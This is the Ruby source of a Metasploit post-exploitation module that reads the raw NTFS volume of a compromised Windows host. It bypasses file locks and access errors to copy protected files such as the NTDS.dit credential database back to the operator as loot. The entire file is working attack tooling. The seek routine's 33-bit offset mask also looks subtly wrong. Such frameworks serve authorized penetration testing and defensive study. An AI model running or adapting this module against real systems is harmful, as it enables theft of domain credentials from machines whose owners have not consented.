metasploit-framework/modules/post/windows/gather/file_from_raw_ntfs.rb

100 lines
3.6 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/parser/fs/ntfs'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows File Gather File from Raw NTFS',
'Description' => %q{
This module gathers a file using the raw NTFS device, bypassing some Windows restrictions
such as open file with write lock. Because it avoids the usual file locking issues, it can
be used to retrieve files such as NTDS.dit.
},
'License' => 'MSF_LICENSE',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
'References' => [
[ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ]
]
))
register_options(
[
OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil])
])
end
def run
winver = sysinfo["OS"]
fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
file_path = datastore['FILE_PATH']
r = client.railgun.kernel32.GetFileAttributesW(file_path)
case r['GetLastError']
when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
# Continue, we can bypass these errors as we are performing a raw
# file read.
when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
fail_with(Failure::BadConfig, "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts")
else
fail_with(Failure::Unknown, "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
end
drive = file_path[0, 2]
r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}",
'GENERIC_READ',
'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
nil,
'OPEN_EXISTING',
'FILE_FLAG_WRITE_THROUGH',
0)
if r['GetLastError'] != ERROR::SUCCESS
fail_with(Failure::Unknown, "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
end
@handle = r['return']
vprint_good("Successfuly opened #{drive}")
begin
@bytes_read = 0
fs = Rex::Parser::NTFS.new(self)
print_status("Trying to gather #{file_path}")
path = file_path[3, file_path.length - 3]
data = fs.file(path)
file_name = file_path.split("\\")[-1]
stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file")
print_good("Saving file : #{stored_path}")
ensure
client.railgun.kernel32.CloseHandle(@handle)
end
print_status("Post Successful")
end
def read(size)
vprint_status("Reading #{size} bytes")
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end
def seek(offset)
vprint_status("Seeking to offset #{offset}")
high_offset = offset >> 32
low_offset = offset & (2**33 - 1)
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
end
end